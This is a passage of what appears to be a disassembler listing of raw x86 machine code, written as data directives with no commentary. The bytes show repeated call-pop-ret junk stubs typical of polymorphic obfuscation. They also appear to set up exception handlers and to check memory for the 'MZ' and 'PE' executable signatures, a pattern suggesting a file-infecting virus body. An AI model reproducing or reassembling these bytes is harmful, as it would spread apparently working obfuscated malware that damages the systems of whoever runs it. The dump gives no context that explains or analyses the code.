880F2870h, 0Dh, 8E9h dd 0F1680D00h, 5F0ED217h, 48F0F4Ch, 66000000h, 8DAC61BEh dd 1316A19Dh, 0C1BD8B06h, 8106131Eh, 0FFFEFF23h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B58BA569h, 6132129h, 8BDB8C66h, 130081B5h, 4C3F606h dd 83840Fh, 0BD8B0000h, 61309BDh, 211195FFh, 6A0613h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0DBF903C3h, 35D0B911h, 0FE9h, 860C0000h, 2ABD262h, 5B0D8C2Bh dd 3D79FC14h, 4FBE6650h, 24048908h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 91C35242h, 5F79BE08h, 0DD1BD01h dd 7E80613h, 7F000000h, 0C9AF7855h, 9D29761Ch, 61306C9h dd 40AE95Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 506B3FC3h, 0EB5122E4h, 7E9E0h, 33330000h dd 0EF773182h, 0D9950197h, 0B0061306h, 0FFB70F00h, 0BF0F70E6h dd 8B71E4FAh, 130E65BDh, 0D8B60F06h, 0E5B243BEh, 6BAF910h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 196CC351h, 89C38BE7h, 1318A9BDh dd 4E8C106h, 0FE8h, 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh dd 0E2F7665Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 61C35646h, 93E59BD5h, 6AD82Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFBACFC3h dd 89021162h, 3181B58Bh, 50930613h, 6A93FE8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5CF8C357h, 28D1BF7Fh, 21B5FFEAh, 6A06130Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7BD7C352h, 11E9E2h, 3B8B0000h, 15117FEEh, 71FB26D1h dd 30630476h, 66341D71h, 0FF675FBFh, 130DA995h, 0E5B58B06h dd 0B0061309h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E661724Dh, 57006A70h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 50F6C7C9h, 6EE056D9h, 0ED950960h, 66061305h, 0E4C9F8BEh dd 8E871h dd 3BA60000h, 7B7B3E3Bh, 8B609786h, 616160D1h, 0F613C5Eh dd 24B83h, 0F6816600h, 0B60F9C7Eh, 6BAF9D8h, 9000000h dd 131B09BDh, 6AC38B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0A23BC351h, 5F91671Dh dd 9D5B52Bh, 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 64AAD5D6h, 0A5C68166h dd 6830F05h, 8B000000h, 131E19B5h, 0E2F76606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6DC35646h, 5D56EC79h dd 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 5803C350h, 31DDB503h, 0D82B0613h dd 18A880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 47BB93C3h, 113B49Ah, 97BE47CBh dd 513F2398h, 1741B58Bh, 0B95F0613h, 7, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 2DC35242h, 0DF8166F4h dd 0B70FCBF6h, 0F78B66FBh, 6A00C183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B2CC351h dd 4558870Ah, 3BE56534h, 0FD860FD9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 7562C350h, 12E8A479h, 69000000h, 898A305h, 6F503C4Fh dd 0B355D019h, 0E6A64452h, 0F681660Fh, 665F1153h, 0BD89D98Ch dd 61300F5h, 0F04C1F6h, 0A884h, 8E800h, 93B00000h, 242E0493h dd 85891C6Eh, 6130785h, 1195FF5Fh, 0BF061321h, 2C6CD3FDh dd 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0A50F6F16h, 0D75EEBB7h, 0A290F681h, 0C32B4893h dd 8343Dh, 52860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0EDC4C352h, 35E9F28Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 7BCEC353h, 0AE01AC6Bh, 66FA3A4Eh dd 0B024C681h, 4DC9ECBEh, 50C08B32h, 5FF88B66h, 0D88BC38Bh dd 1FB1BD8Bh, 85C70613h, 61305F9h, 7485EDD3h, 8F0Fh, 0C08B0000h dd 81F3BF0Fh, 130B21BDh, 7D006h, 12850F00h, 89000000h dd 131CED85h, 2185FF06h, 0B06130Bh, 130B09BDh, 21B5FF06h dd 6A06130Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 5E08C351h, 8D89CF56h, 61316D1h dd 0DA995FFh, 0EE80613h, 4B000000h, 0F5E0E37Eh, 60EDBC0h dd 35DCC45Eh, 9D895E6Ah, 6130FC1h, 0F5E68190h, 6672D39Dh dd 0ACD1C681h, 2BBDBD8Bh, 66600613h, 0AA7F281h, 0C870Fh dd 840F0000h, 0 dd 1512E281h, 9D892112h, 61323B5h, 29BD8B61h, 8B06132Dh dd 13151DBDh, 0EE816606h, 0BD23954Ah, 6131FBDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7CC35141h, 51F65667h dd 0FCCC5A57h, 50006AF5h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0D31C143Bh, 0BD19509h dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 4E175DC3h, 0BBA11561h, 8B8876EDh, 52006AF2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 69AD5CE6h, 0AEF28B45h, 0BE9EF79h, 11000000h, 27E7DC0Eh dd 1F7FFC32h, 8B66E5DFh, 56006AF9h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 6120C96Bh, 0BEF88B77h dd 0D2229C8h, 0FFF81BE9h, 178F0FFFh, 0E9000000h, 12h, 0FB275666h dd 308E5F40h, 0F1EED5F2h, 0EF18B2BDh, 8589A94Eh, 6132165h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 565107D7h, 0B50950A8h, 6132379h, 0FFFEB958h dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 958B15C3h, 6131F8Dh, 9CD8D21h, 6A0613h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 2A04CFC3h, 0BF0FE70Eh, 118D21FEh, 89061311h, 130F09B5h dd 8B0F6006h, 0 dd 1FE98589h, 8B610613h, 1309CD8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9286029h dd 14h, 1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h, 69D55FEDh dd 0D41958Bh, 0E1830613h, 21850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 5208C352h, 0F0D6A89Bh, 11118D8Bh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4EEA66C3h dd 2185893Eh, 0E9061323h, 0Dh, 0C242FB19h, 0B4CD35D1h dd 6B80B6BCh, 1E183B3h, 6850Fh, 85890000h, 61310CDh, 6A6061h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0D18293C3h, 20FB675h, 0E83A94A7h, 0Eh, 63796A90h, 0AE77BAD7h dd 0BCB2D9A4h, 0B95E6F14h, 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0C9C35747h, 590FF359h, 0A508BE89h dd 9E9h, 0F4377F00h, 0BD0F77D1h, 8D21CB30h, 6131461h, 2FB18589h dd 8D210613h, 6130639h, 8D8BF78Ah, 6131461h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E9C35545h, 79BD8B87h dd 8306132Ch, 850F01E1h, 1Ch, 13E8h, 0E6AFAF00h, 0CC923AB6h dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 0F2B70F5Ah, 6398D8Bh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 66C9D9C3h, 830B41BAh, 850F01E1h, 3Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EC35646h, 0CC7E2AD4h dd 0E9A18719h, 14h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h dd 0C04D20C5h, 496F0043h, 9D896061h, 6130BEDh, 0FFFFFEB9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 4164FF04h, 2F4857DFh, 77E081E8h, 12DDCC2h dd 1330C9B5h, 0A18D2106h, 6A061316h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A726C355h dd 987F178h, 21CDB529h, 8D210613h, 6132CD5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h, 500FF465h dd 8D1147D8h, 858960BFh, 6131151h, 31B58B61h, 8B06131Dh dd 1316A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0D1FCAC18h, 0A7DA7B2Fh, 8E0FD37Ch dd 3, 83F8B70Fh, 850F01E1h, 20h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 28C35040h, 101CA3A9h, 2CD58D8Bh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C4F623C3h, 198615B4h, 899F1129h, 1316E185h dd 1E18306h, 2850Fh, 0B0B30000h, 6A6061h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 105EFAC3h dd 0B58B68D6h, 6131325h, 0FFFFFEB9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 4F8DBA71h dd 8D214F0Bh, 6133251h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 63C35646h, 0DC4C2564h, 0B84AE380h, 493F8A6Fh dd 5F98D21h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0C519EAC3h, 0BBBF662Dh, 518D8B1Fh dd 6A061332h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B231C353h, 1F5AB0C4h, 0F01E183h dd 1E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8B7A1A3Ah, 1305F98Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 7ACC519Dh, 5E9h, 0C1FEDB00h, 0E1830EC2h, 5850F01h, 0BA000000h dd 439B4F1Fh, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8E885C3h, 0E789A0BFh, 0BD2BF50Ah dd 6130EBDh, 0B2185C7h, 7D00613h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A281B6C3h dd 3B28D89Bh, 66909495h, 7615EE81h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 49D822D5h dd 35A8D056h, 0A18D8B4Eh, 0EB061312h, 0E99D6107h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4BC35343h dd 2F62A5A0h, 31BD8942h, 6A061330h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E88EC351h dd 18E5BD89h, 0C18B0613h, 14E8h, 111000h, 3EA8132Dh, 0BC5402CAh dd 0FB707CD6h, 0E1362C6Bh, 0FFB70FFFh, 1AC2815Ah, 8900005Eh dd 1311BDBDh, 6806h, 800F0000h, 6, 18B1B50Bh, 0F580613h dd 34FFFEB7h, 5BF8B510h, 644DEB81h, 870F45C9h, 9, 850FFC60h dd 0 dd 70F38161h, 0F79FF70h, 68Ah, 75B58900h, 8106130Eh, 0AACB42F3h dd 0FABF0F68h, 81021C89h, 893F15C9h, 0B70F6026h, 7FF081F8h dd 617E8274h, 0F02E883h, 1489h, 0FE900h, 29700000h, 1B891C8Ah dd 5D05AB0Bh, 0E74499D9h, 8B48485Fh, 1301598Dh, 0C4F88106h dd 0FFFFFA2h, 1C85h, 0D6E98100h, 0E912E8E3h, 23h, 7BBF89E8h dd 7EB85DCAh, 9C6FAD32h, 34DB56Fh, 0E9BD8B26h, 0E906130Ah dd 0FFFFFF5Eh, 7390D873h, 0BA6CB046h, 0F0113000h, 0EA81h dd 0C283F000h, 89958914h, 83061331h, 858D14EAh, 617368Fh dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0B98589C8h, 306130Bh, 0B70F3C40h, 95890650h, 6130B65h dd 8950508Bh, 132A9595h, 0F80506h, 508B0000h, 89D1030Ch dd 130B5D95h, 8500306h, 21259589h, 8F640613h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 1F95BD83h, 0F000613h, 2484h, 0E185C600h, 47061311h dd 9AA7D268h, 0E9B5FFD4h, 8D06131Eh, 167C3385h, 6AD0FF06h dd 89D0FF00h, 1316C185h, 60D38B06h, 28D99D89h, 0C08B0613h dd 0C8816660h, 81668EA2h, 615D1BF1h, 1625BD83h, 75000613h dd 81BD8309h, 6132Ch, 53501974h, 38B8C08Bh, 89000004h dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh dd 17740006h, 38B85350h, 89000004h, 130D7D85h, 6C9D8D06h dd 0FF0615A6h, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 7492C355h, 53006A73h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 8F10ED05h, 0C9DB116Dh, 0B533C08Bh, 6132965h, 799E8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 39610A95h, 0BA82F257h, 0F860DB74h, 1ECD9523h dd 66610613h, 5E50CF81h, 13D18589h, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CC6B5BC3h dd 3BE894F4h, 6A000007h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 6230C350h, 1A79134Ch dd 6602A887h, 16C8CF81h, 1A958589h, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BE876C3h dd 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 8D8B2DDAh, 61318B9h dd 6D4E85Eh, 0B5890000h, 6132F8Dh, 28318589h, 8B660613h dd 6C0E8F8h, 85890000h, 613005Dh, 0BE8h, 0B0024E00h, 0DE908DE8h dd 7395387Ch, 8E9h, 51537D00h, 0FC7718AAh, 97E85EF2h, 6A000006h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 9BC4C355h, 4782A1EAh, 9589EA3Bh, 61322ADh dd 302D8589h, 8B660613h, 660E8F7h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A86B17C3h dd 0AE99EC6h, 0ED000000h, 0B7D6D9D0h, 4BBF9962h, 0ED858924h dd 6A061331h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0BC5FC353h, 0EB1F2BB3h, 8F0F86h dd 0E8000000h, 5FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 6CC35343h, 0A984C2BFh, 5D858921h, 6A061312h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 3358C353h, 132385BDh, 0FA8B6606h, 5ADE8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 5B07F1F8h, 0FE91A466h, 858986BFh, 6131B65h dd 38F0Fh, 0F5570000h, 574E85Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CC6565C3h dd 6D2F33AEh, 8589F8F5h, 6131139h, 0C2E5B966h, 541E8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0FC221182h, 4D958B60h, 0F061317h, 1386h dd 0DE800h, 85990000h, 0A455C344h, 3DB07DBEh, 5FD53569h dd 0D5858961h, 8906130Eh, 1312A19Dh, 4F0E806h, 0B9660000h dd 8D8B4346h, 6132A09h, 0B018589h, 66560613h, 5E9085B9h dd 10E8h, 154AB900h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch dd 0BFE85EA9h, 29000004h, 132A6D85h, 1858906h, 0F061321h dd 684h, 8D8D8B00h, 0E8061319h, 4A2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 22C35040h, 157D5512h, 4B272655h dd 0A185892Ch, 6A06132Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0AD31C353h, 89CB702Ch dd 13178595h, 4BE8F806h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1425C351h dd 1CE6F556h, 0B9858905h, 0FC061320h, 41DE8h, 96C68100h dd 8966849Eh, 13230985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 4F050D5Eh, 8CE125F3h dd 1FE99D89h, 0E3E80613h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2B8DC357h dd 8960DAE1h, 132035B5h, 85896106h, 6132331h, 28799589h dd 0B00613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 4AC35040h, 0E5B4D440h, 0D2987D16h, 0FCA8B66h, 160D8B6h dd 132161B5h, 0DE806h, 801A0000h, 0E26D06EFh, 75820F36h dd 0FDD6899h, 8Dh, 0BA615F00h, 6, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 5EC35646h, 4760EE82h, 0E66AE729h dd 17419D89h, 0C38B0613h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0FEC35141h, 7564730Eh, 0A1B72BCBh, 8B04E8C1h dd 131125B5h, 0DAB96606h, 0E2F76645h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 76C35040h, 0DB4ADFBEh, 9DC5808h dd 0F98D0B89h, 2B061304h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7EF4AE47h dd 5A762F56h, 2800Fh, 0F88B0000h, 241C8950h, 0C69B501h dd 95FF0613h, 6132111h, 1375B58Bh, 6A5B0613h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0CF43C352h, 8D01487Fh, 613120Dh, 2FCD958Dh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 810D02C3h, 0E961BF4Fh, 14h, 0DDB5FFDBh, 0B8B469DAh dd 86AC9ACFh, 469DB802h, 0B439EC4Ah, 0BF0F1A89h, 1D8D8BC8h dd 8906131Eh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 70D628C3h, 60F08BB5h, 2890Fh, 5E500000h dd 1AF98529h, 8D610613h, 13109595h, 0C88B6606h, 12E9h dd 3D931A00h, 1D4049DAh, 57545B4Dh, 3EB178E7h, 89267091h dd 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0D1B105A0h, 6A044289h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BC3FC355h dword_5C005C dd 354A913h, 131121B5h, 0CA8B6606h, 189D958Dh, 0BD290613h ; DATA XREF: ___:off_443EACo dd 6132A45h, 8D891A89h, 6130F75h, 6A044289h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8D94C353h, 1329B195h, 19850106h, 0F8061319h, 6A1A89h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 8EDF22C3h, 0ACABA4B0h, 0FC044289h, 2D118589h, 958D0613h dd 61300BDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0BEC35343h, 5DBD8B62h, 89061322h, 51006A1Ah, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 42CF813Ch, 8947D4C2h, 0B58B0442h, 61319E9h, 19958Dh dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0E68FC3C3h, 9F5B0E96h, 9E9h, 0E3CDAA00h dd 0B562FBF9h, 1A891F62h, 860F6050h, 0 dd 42895E61h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0A2F7A24h, 0B1B58B13h, 8D061301h dd 131A6195h, 89C88A06h, 21B58B1Ah, 89061320h, 85890442h dd 6130E05h, 12E9h, 62F2600h, 6CF6FBADh, 72B8617Bh, 85CDEC3Eh dd 8D0D8A70h, 13249995h, 661A8906h, 4289CA8Bh, 8166FC04h dd 0E95B56F7h, 0ACh, 1DA5B58Bh, 6A0613h, 2B99B589h, 6A0613h dd 72B7B966h, 0B529006Ah, 6131D85h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 8DFC28C3h dd 0CF63F17Ch, 0F592F1Fh, 386h, 0FB8B6600h, 128995FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 8C07CCC3h, 950FDFA9h, 1FE9B58Bh, 6AC30613h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 5EC8C352h, 94DB3696h, 95BB760h, 1306299Dh dd 85896106h, 6130DD9h, 6AC58Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 4AAA9BC3h, 5D2F2338h dd 960824Bh, 130B998Dh, 0EA816606h, 8B616F3Ch, 0B27FB9C0h dd 0BD831541h, 6131625h, 83097500h, 132C81BDh, 19740006h dd 0C08B5350h, 438B8h, 15858900h, 8D061331h, 15A9E49Dh dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 438B8h, 15858900h dd 8D061331h, 15A6859Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1FD8B817h dd 0A01546BEh, 81664C0Fh, 8B348BF7h, 133259B5h, 8DC08B06h dd 131EA985h, 6FD78006h, 0DA8B6690h, 66DABF50h, 6A906B2Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 6C5CC350h, 37FF4D79h, 0FE1A8674h, 6ADE8Bh dd 38E0Fh, 0BF0F0000h, 6A006AF9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E205C356h dd 8D50911Eh, 17425085h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 8DF97D91h, 0C0837E17h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 56BF50B1h, 893DA10Eh, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0B334EBC3h dd 64AF9D83h, 0BFE9DBF1h, 274AB876h, 16C5BD8Bh, 6A0613h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h dd 182DEF8Dh, 6A9C30h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0A3C35141h, 95FF0D83h, 61307F1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 8DBFCB99h dd 3139E38Dh, 6A8D8D5Ch, 6A0616A3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7E1C350h dd 6330858Dh, 0FF1F57BCh, 0BD83FCD1h, 613173Dh, 47850F01h dd 8B000000h, 133029BDh, 6AFAB706h, 6050F902h, 66DA8B66h dd 8961F88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 987E5EC3h, 9986951Dh, 0A8DBD03h dd 95FF0613h, 6131E95h, 0E7E9AAB3h, 0E800000Dh, 0 dd 5AED815Dh, 6A061742h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0F98CC356h, 0EE2D55Eh dd 0BD0BDE2Fh, 613282Dh, 5E9h, 0CCA95B00h, 0BD8B51B2h dd 61305F1h, 8F5E858Dh, 3BBF0616h, 50008FC9h, 0AE9h, 38A10000h dd 4645F240h, 89263AA2h, 81662404h, 64FE29F7h, 35FFh, 9D8B0000h dd 61301E5h, 258964h, 0F000000h, 687h, 39B52900h, 0FF061324h dd 1316D985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 2C1184EAh, 81D6E574h, 1F1891E7h dd 0FF6AFC24h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 42C35545h, 6CEA4C2Bh, 9531580Fh, 6130C19h, 13D1B5FFh dd 0BB660613h, 95FF1B99h, 61331ADh, 118E9h, 85BD2900h dd 0B0061323h, 0E65F5200h, 12E970h, 5D1F0000h, 0DCCB883Bh dd 441D41B2h, 0B5526A9Bh, 0F054A652h, 13E971E4h, 86000000h dd 0A8CCFFDCh, 0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh, 3CFCDCE1h dd 0D2830F61h, 60000000h, 5E9h, 15836B00h, 8589A87Bh, 6133511h dd 0C8B60F61h, 6BAD88Ah, 8B000000h, 0E19D8BC1h, 0C1061323h dd 9D8904E8h, 61301F5h, 89E2F766h, 131411BDh, 23C82B06h dd 131FF5BDh, 0BD18B06h, 130961BDh, 6E906h, 0B5290000h dd 6131425h, 2FCD858Bh, 8D890613h, 6132255h, 6607C083h dd 83B226BFh, 0BD8B00C0h, 61331E5h, 830FD03Bh, 10h, 0CB5CDCBBh dd 53E961h, 0BD090000h, 613233Dh, 16A18D8Bh, 8E90613h dd 0D4000000h, 57B0D7A9h, 832F54B3h, 840F01E1h, 31h, 0EE9h dd 3876DD00h, 3D2C08FFh, 0A296E20Dh, 83ACBC2Ah, 1316A1A5h dd 0BD89FE06h, 6131EC1h, 2FCD9589h, 890F0613h, 0 dd 0E9h, 8BB58D00h, 660616DBh, 6AF88Bh, 1AED9D8Bh, 81660613h dd 0FFC8D4D7h, 130DA995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9BA1F543h dd 11A84CD1h, 8DB33E08h, 889B9h, 0E1952900h, 83061318h dd 9D23FCE1h, 613063Dh, 6660FCF9h, 8B66D98Bh, 0B861FEh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 1C0CC356h, 599D8B6Bh, 2B06132Ch dd 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 6E2F1E38h, 14F5BD8Bh, 33AD0613h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 1AC69CC3h, 5FC61BBEh, 0BD33EE74h dd 6131A01h, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0E0A6E69Fh, 958BD98Bh dd 6131BBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 78C35242h, 2D63EF23h, 0DD8D8B04h, 6A061318h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 6B4AC350h, 8C3FA23Dh, 8B66B741h, 959D8BFBh, 50061325h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 315716BFh, 13198585h, 0F7816606h, 0BD836813h, 6131D1Dh dd 7D840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 